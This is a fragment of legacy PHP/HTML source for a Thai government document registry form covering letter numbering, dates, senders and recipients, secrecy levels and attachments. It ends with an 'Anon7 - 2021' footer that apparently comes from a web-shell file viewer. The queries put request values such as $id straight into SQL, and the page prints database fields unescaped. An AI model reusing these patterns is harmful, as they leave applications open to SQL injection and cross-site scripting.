									if($var[key]=='ปปปป'){$hide_var=date(Y)+543;$show_var=date(Y)+543;}					
//									echo "<input name='digit[$var[digit]]' type='hidden' value='$hide_var' >$show_var";
									#echo "$show_var";
									$refid.=$show_var;
								}
						//		echo "<br>";
							}
						}
							if(($type=="send")||($type=="circular")){
							?>
							<input type='text' id='refid' name='refid' value='<?=$refid?>'>
							<!--<input type='text' id='refid' name='refid' value='<?=$refid?>'>-->
							<span class="style2">/<? if($type=="circular"){echo"ว";}?><?=$num_gen?>
							<!--คุณได้รับเลขทะเบียนลำดับที่ <?=$num_gen?> สำหรับทะเบียนหนังสือฉบับนี้		 -->					</span> 
							<!--<input type='hidden' id='id' name='refid' value='<?=$id?>'>-->
							<?
							}
						}
			}
################################################# การออกเลขหนังสือ


if($action=="edit"){
#	if($type==get){
	?>
	<? if($rs_doc[refid]){ $d=explode("/",$rs_doc[refid]);}?>
	<input type='text' id='refid' name='refid' value='<?=$d[0]?>'>
	<span class="style2">/<?if($type=="circular"){echo"ว";}?><?=$rs_doc[docid]?></span> 
	<?
#	}else{
#	echo $rs_doc[refid];
#	}
}
	?>	</TD>
			</TR>
			<TR>
			<TD height="20" align="right">ลง ณ วันที่&nbsp;<B>:</B>&nbsp;</TD>
			<TD width="449">
			
			<? if($rs_doc[pdate] == "")
				{ $ndate = date("d/m/").(date("Y") + 543); 
				}else{ 
				$d = explode("-", $rs_doc[pdate]);
				$ndate = $d[2]."/".$d[1]."/".($d[0] + 543);
				}
			?>
			<INPUT type="text" name="pdate" id="Txt-Field" class="input" maxlength="10" style="width:120px;" value="<?=$ndate?>" readonly>
			<? if ( ($type=="get") )  { ?>
			<SCRIPT language='javascript'>	if (!document.layers) {	document.write("<input type=button onclick='popUpCalendar(this, post.pdate, \"dd/mm/yyyy\")' value=' เลือกวัน ' class='input'>")	}</SCRIPT>
			<? }?>			</TD>
			</TR>
			
			<TR valign="top">
			<TD height="20" align="right"><span class="style1">*</span> จาก&nbsp;<B>:</B>&nbsp;</TD>
			<TD align="left">
				<? if($type=="get"){?>
				<INPUT type="text" name="sending" id="sending" class="input" style="width:180px;" value="<?=$rs_doc[sending]?>">
				<? }else if(($type=="send")||($type=="circular")){?>	
				
				<table width="80%" border="1" cellpadding="0" cellspacing="0" bordercolor="#CCCCCC">
					<tr>
						<td><table width="98%" border="0" cellspacing="0" cellpadding="0">
			
								<tr>
									<td>
									<script language="javascript">
										function enabledclass(){
											alert(document.post.sending_select.);
											
 										}
									</script>
										<?
										for($i=0;$i<count($wordingset);$i++){
										if($bgcolor == "#ffffff"){$bgcolor="#F5F5F5";}else{$bgcolor="#ffffff";}
										
										echo "<tr bgcolor=$bgcolor><td>";									
									
										if(is_array($wordingset[$i])){
										for($j=0;$j<count($wordingset[$i]);$j++){
										if(intval($i)>0){$disabled="disabled";}else{$disabled="";}
										/////// FIXHARD
										$disabled="";
										/////////		
										$select1=explode('.',$rs_doc[sector]);
										if($i==intval($select1[0])){
										
											if($select1[1]!=""){
												
													if($j==intval($select1[1])){
													$checkedzero="checked";
													}else{
													$checkedzero="";
													}
											}else{
											$checkedzero="checked";
											}
										}else{$checkedzero="";}	
										
										
																	
										?>
											<input name="sending_select" type="radio" value="<?=$i.".".$j?>"  onclick="enabledclass();" <?=$checkedzero?>/> <?=$wordingset[$i][$j]?>
											<? if($j==0){ ?>
											<input type="text" name="sid_show<?=$i?>" style="width:140px;" <?=$disabled?> value="<?=$rs_doc[sending]?>"/>
											<input type="hidden" name="sid<?=$i?>" id="sid<?=$i?>" class="input" style="width:380px;" value="<?=$rs_doc[sid]?>" />
											<input name="sid_select<?=$i?>" type="button" id="sid_select<?=$j?>" <?=$disabled?> onclick="MM_openBrWindow('user/org_select.php?type=organize&starget=sid_show<?=$i?>&htarget=sid<?=$i?>','add_user','addres=no,toolbar=no,scrollbars=yes,width=600,height=600')" value="ระบุผู้ลงนาม"/>
											<? } ?>
											<br />
											<?
										}
										}else{
										if(($i=="0")&&(!$rs_doc[sector])){$checkedzero="checked";}else{$checkedzero="";}
										?> <input name="sending_select" type="radio" value="<?=$i.".".$j?>"  <?=$checkedzero?>/> <?=$wordingset[$i]?><?
										}																		
									echo "</td></tr>";									
									}
									?>									</td>
								</tr>
								<tr>
									<td><!--&nbsp;&nbsp;&nbsp;&nbsp;
										<input name="position_show" type="checkbox" id="position_show" value="show" />
										แสดงตำแหน่งผู้ลงนาม--> </td>
								</tr>
						</table></td>
					</tr>
				</table>
				<? }?>				</TD>
			</TR>
			
			

			<tr valign="top">
				<td height="20" align="right"><span class="style1">*</span> ถึง&nbsp;<b>:</b>&nbsp;</td>
				<td align="left"><? if($type!="circular"){	?>
						<script language="JavaScript" type="text/javascript">
			  function autoprim(){
			 // alert(document.post.getting.value);
			  	if(document.post.getting.value=='ผ'){
				document.post.getting.value='ผู้ว่าราชการจังหวัด<?=$provincename?>';
				}
			  	if(document.post.getting.value=='ร'){
				document.post.getting.value='รองผู้ว่าราชการจังหวัด<?=$provincename?>';				
				}
			  }
				</script>
						<input type="text" name="getting" id="getting" class="input" style="width:380px;" value="<?=$rs_doc[getting]?>" onkeyup="autoprim();" />
						<? }else if($type=="circular"){	?>
						<?
			if($id){

				$sql_profile_list="
				SELECT DISTINCT
				doc_receive.docid,
				doc_receive.group_id
				FROM
				doc_receive
				WHERE
				doc_receive.docid =  '$id' AND
				doc_receive.group_id LIKE '%p%'
				";
//				doc_receive.group_id LIKE  'p%'
				$result = mysql_query($sql_profile_list)or die("Query line " . __LINE__ . " error<hr>".mysql_error());

				$ia=0;
				while($profile_rs = mysql_fetch_assoc($result)){
					$gp_list=substr($profile_rs[group_id], 1);
					if($gp_list){
						if($ia>0){$group_sql_a.=" or ";}else{ $group_sql_a=" and ( ";}$ia++;
						$group_sql_a.=" profile_staffgroup.gid ='$gp_list'  ";
						$pid.=$gp_list.",";
					}
				}	
					if($ia>0){ $group_sql_a.=" ) "; }
			

					$pid=substr($pid, 0,-1);
				#################################### GID summon				
				if($pid){
				$sql_profile_name="
					SELECT
					profile_staffgroup.groupname,
					profile_staffgroup.gid
					FROM
					profile_staffgroup
					WHERE
					profile_staffgroup.org_id =  '2'
					$group_sql_a
					";
					$result = mysql_query($sql_profile_name)or die("Query line " . __LINE__ . " error<hr>".mysql_error());
					while($profile_rs = mysql_fetch_assoc($result)){
						$text_g.=" $profile_rs[groupname],";
					}	
					$text_g=substr($text_g, 0,-1);
				//	if($text_g){$show_gid=trim($text_g);}
				}
			#################################### PID summon
		//	echo $group_sql_b;
				$sql_profile_list="
				SELECT DISTINCT
				doc_receive.docid,
				doc_receive.staff_id,
				epm_staff.prename,
				epm_staff.staffname,
				epm_staff.staffsurname,
				epm_staff.title
				FROM
				doc_receive
				Inner Join epm_staff ON epm_staff.staffid = doc_receive.staff_id
				WHERE
				doc_receive.docid =  '$id' AND
				( doc_receive.group_id = '' OR doc_receive.group_id is NULL)
				";
				$result = mysql_query($sql_profile_list)or die("Query line " . __LINE__ . " error<hr>".mysql_error());

				$ia=0;
				while($profile_rs = mysql_fetch_assoc($result)){
					$sid.="$profile_rs[staff_id],";
					$sid_show.="$profile_rs[prename]$profile_rs[staffname] $profile_rs[staffsurname] ";
					$sid_show.=",";
				}
				$sid_show=substr($sid_show, 0,-1);
				$sid=substr($sid, 0,-1);
			######## if($id)
			}
			if($text_g)		{$show_gid=trim($text_g);}
			if($sid_show)	{$show_gid=trim($sid_show);}
			if(($sid_show)&&($text_g))	{$show_gid=trim($text_g).' , '.trim($sid_show);}
			?>
					
						<table width="100%" border="0" cellspacing="0" cellpadding="0">
							<tr>
								<td style="width:300px;"><textarea name="gid_show" rows="3" readonly="readonly" id="gid_show" style="width:300px;"><?=$show_gid?>
					</textarea></td>
								<td align="left" valign="middle"><input name="pid_hide" type="text" id="pid_hide"  readonly="readonly" value="<?=$text_g?>"/>
										<input name="pid" type="text" id="pid"  readonly="readonly" value="<?=$pid?>"/>
										<input type="button" name="Button222" value="เลือกกลุ่ม" onclick="MM_openBrWindow('active_circular_g.php?type=<?=$type?>','add_user','addres=no,toolbar=no,scrollbars=yes,width=400,height=600')"/>
										<br />
										<input name="sid_hide" type="text" id="sid_hide"  readonly="readonly" value="<?=$sid_show?>"/>
										<input name="sid" type="text" id="sid"  readonly="readonly" value="<?=$sid?>"/>
										<input type="button" name="Button22" value="เลือกรายบุคคล" onclick="MM_openBrWindow('active_circular_p.php?type=<?=$type?>','add_user','addres=no,toolbar=no,scrollbars=yes,width=400,height=600')"/></td>
							</tr>
							<tr>
								<td colspan="2" style="width:300px;"><!--<span class="style1">*</span> เมื่อมีการแก้ไข กรุณาระบุผู้รับใหม่ทุกครั้ง --></td>
								</tr>							
						</table>
					<? }	?>
				</td>
				<!--<TR valign="top">
			<TD height="20" align="right">การปฏิบัติ&nbsp;<B>:</B>&nbsp;</TD>
			<TD><INPUT name="sector" type="text" class="input" id="sector" style="width:360px;" value="<?=$rs_doc[sector]?>"></TD>
			</TR>-->
				<? if(!$sercet_select || $sercet_select=="on"){?>
				<? }?>
				<? if($type=="get"){?>
				<!--
			<TR valign="top">
				<TD height="20" align="right">วันรับเอกสาร&nbsp;<b>:</b>&nbsp;</TD>
				<TD><? if($rs_doc[tdate] == "")
				{ $ndate = date("d/m/").(date("Y") + 543); 
				}else{ 
				$d = explode("-", $rs_doc[tdate]);
				$ndate = $d[2]."/".$d[1]."/".($d[0] + 543);
				}
			?>
					<input type="text" name="tdate" id="pdate" class="input" maxlength="10" style="width:120px;" value="<?=$ndate?>" readonly="readonly" />
					<? if ( ($type=="get") )  { ?>
					<script language='JavaScript' type="text/javascript">	if (!document.layers) {	document.write("<input type=button onclick='popUpCalendar(this, post.tdate, \"dd/mm/yyyy\")' value=' เลือกวัน ' class='input'>")	}</script>
					<? }?></TD>
			</TR>
			-->
				<? }?>
				<!---###################################################--->
				<!---###################################################--->
			</tr>
			<tr>

			
				<td height="20" align="right"><span class="style1">*</span> เรื่อง&nbsp;<b>:</b>&nbsp;</td>
				<td><textarea name="title" rows="3" class="input" style="width:380px;"><?=$rs_doc[title]?></textarea></td>
			</tr>
			<!--<TR valign="top">
			<TD height="20" align="right">การปฏิบัติ&nbsp;<B>:</B>&nbsp;</TD>
			<TD><INPUT name="sector" type="text" class="input" id="sector" style="width:360px;" value="<?=$rs_doc[sector]?>"></TD>
			</TR>-->
			<TR valign="top">
				<TD height="20" align="right">กำหนดชั้นความเร็ว&nbsp;<b>:</b>&nbsp;</TD>
				<TD>
					<select name="speed" style="width:160px;">
					<option value=""> - เลือกชั้นความเร็ว - </option>
					<?
					$sql_speed="	SELECT * FROM speed_status ";
					$result = mysql_query($sql_speed)or die("Query line " . __LINE__ . " error<hr>".mysql_error());
					while($speed_rs = mysql_fetch_assoc($result)){
					?>
					<option value="<?=$speed_rs[id]?>" <? if($speed_rs[id]==$rs_doc[speed]){echo "selected";} ?>> <?=$speed_rs[speed]?></option>
					<? }?>					
					</select>					</TD>
			</TR>
			
			<? if(!$sercet_select || $sercet_select=="on"){?>
			<TR valign="top">
				<TD height="20" align="right">กำหนดชั้นความลับ&nbsp;<b>:</b>&nbsp;</TD>
				<TD>
					<select name="secret" style="width:160px;">
					<option value=""> - เลือกชั้นความลับ - </option>
					<?
					$sql_secret="	SELECT * FROM secret_status ";
					$result = mysql_query($sql_secret)or die("Query line " . __LINE__ . " error<hr>".mysql_error());
					while($secret_rs = mysql_fetch_assoc($result)){
					?>
					<option value="<?=$secret_rs[id]?>" <? if($secret_rs[id]==$rs_doc[secret]){echo "selected";} ?>> <?=$secret_rs[secret]?></option>
					<? }?>	
					</select>				</TD>
			</TR>
			<? }?>
			
			<? if($type=="get"){?>
			
<!--			<TR valign="top">
				<TD height="20" align="right">วันรับเอกสาร&nbsp;<b>:</b>&nbsp;</TD>
				<TD>
			<? if(!$rs_doc[tdate]){ $ti1=explode(" ","$rs_doc[time_rec]");$rs_doc[tdate]=$ti1[0];}
			if($rs_doc[tdate] == "")
				{ $tdate = date("d/m/").(date("Y") + 543); 
				}else{ 
				$d = explode("-", $rs_doc[tdate]);
				$tdate = $d[2]."/".$d[1]."/".($d[0] + 543);
				}
			?>	
					
					<input type="text" name="tdate" id="pdate" class="input" maxlength="10" style="width:120px;" value="<?=$tdate?>" readonly="readonly" />
					<? if ( ($type=="get") )  { ?>
					<script language='JavaScript' type="text/javascript">	if (!document.layers) {	document.write("<input type=button onclick='popUpCalendar(this, post.tdate, \"dd/mm/yyyy\")' value=' เลือกวัน ' class='input'>")	}</script>
					<? }?></TD>
			</TR>-->
			
			<TR valign="top">
				<TD height="20" align="right">การปฏิบัติ&nbsp;<b>:</b>&nbsp;</TD>
				<TD><textarea name="mission" rows="3" class="input" id="mission" style="width:400px;"><?=$rs_doc[mission]?></textarea></TD>
			</TR>
			<? }?>			
			
			<TR valign="top">
			<TD width="157" height="20" align="right">หมายเหตุ&nbsp;<B>:</B>&nbsp;</TD>
			<TD width="449"><TEXTAREA name="comment" rows="3" class="input" style="width:400px;"><?=$rs_doc[comment]?></TEXTAREA></TD>
			</TR>	
<!---###################################################--->					
			<TR>
			<TD height="20" align="right" valign="top">
			<IMG src="../../images/file_attach.gif" width="7" height="13" align="absmiddle"> ไฟล์เอกสารแนบ <B>:</B>&nbsp;</TD>			
			<TD>
<SCRIPT type=text/javaSCRIPT>
					// FILE ADD FUNCTION
					var gFiles = 0;
					function addFile() {
					var li = document.createElement('li');
					li.setAttribute('id', 'file-' + gFiles);
					li.innerHTML = '<table width="360" border="0" cellspacing="0" cellpadding="1">	<tr>		<td width="350"><table width="100%" border="0" cellpadding="1" cellspacing="1" bgcolor="#F8F8F8"><tr><td><table width="100%" border="0" cellpadding="1" cellspacing="0" bgcolor="#FFFFFF"><tr><td><input type="file" name="file['+(gFiles)+']" class="input" /></td></tr><tr><td valign="top">รายละเอียด <strong>:</strong> <br />	<textarea name="description['+(gFiles)+']" rows="3" class="input" style="width:240px;"></textarea><br /><font color="#FF0000">*กรุณาระบุรายละเอียดไฟล์</font></td></tr></table></td></tr></table></td><td width="10" align="center" valign="bottom"><span onclick="removeFile(\'file-' + gFiles + '\')" style="cursor:pointer;"><img src="../../images/profile_sub.gif" /></span></td></tr></table><hr style="width:360px;" align="left"/>';
					document.getElementById('files-root').appendChild(li);
					gFiles++;
					}
			
					function removeFile(aId){
					var obj = document.getElementById(aId);
					obj.parentNode.removeChild(obj);
					}
</SCRIPT>
<? if( ($action=="edit") &&($rs_doc[id])){
	if (is_array($attachname) )  {?>
<UL>		
<?	foreach($attachname as $attach_id => $attach_name) { ?>
	<LI><img src="../../images/attach16.gif" width="16" height="16" border=0 align="absmiddle"/>
	<a href="../../files/document/<?=$attachfile[$attach_id]?>" target="_blank" title="<?=$attach_name?>"><?=trimtxt($descritment[$attach_id],32)?></a>
	<a href="<?=$PHP_SELF?>?action=del_attach&id=<?=$rs_doc[id]?>&file_id=<?=$attach_id?>&type=<?=$type?>" onClick="return confirm('ท่านต้องการที่จะลบ  <?=$file_attach?> ใช่หรือไม่ ?')">
	<img src="../../images/profile_sub.gif" width="9" height="9" border="0" />	</a>
<? }
} ## if (is_array($file_attach) )  {
	?>
	</UL>
<? } ?>
<? if($type=="circular"){ echo "<font color='#FF0000'><b>กรุณาแนบเอกสาร *</b></font><br>";} ?>
<span style="cursor:pointer;" onclick="addFile()">เพิ่มเอกสารแนบ<img src="../../images/profile_plus.gif" width="9" height="9" border="0" /></span>
<ul id="files-root">
<!--<INPUT name="file" type="file" class="input" style="width:200px;">--></TD>
			</TR>
<!---###################################################--->			
			
			
			
			
			
			
			<TR>
			<TD width="157" height="20" align="right">&nbsp;</TD>
			<TD width="449"><INPUT type="hidden" name="action" value="<?=$action?>">
				<input type="hidden" name="page" value="<?=$page?>" />
				<INPUT type="hidden" name="id" value="<?=$id?>">
			<INPUT type="hidden" name="type" value="<?=$type?>">
			<input type="hidden" name="status" value="<?=$status?>" /></TD>
			</TR>
			<TR>
			<TD colspan="2" align="center"><HR color="#eeeeee"><INPUT name="submit2" type="submit" class="input" style="width:100;" value="บันทึกข้อมูล">&nbsp;<INPUT name="button" type="button" class="input" style="width:100;" onClick="window.location.replace('?page=<?=$page?>&type=<?=$type?>')" value="กลับหน้าหลัก"></TD>
			</TR>
			</TABLE>
			</TD></TR>
	</TABLE>
</FORM>

Anon7 - 2021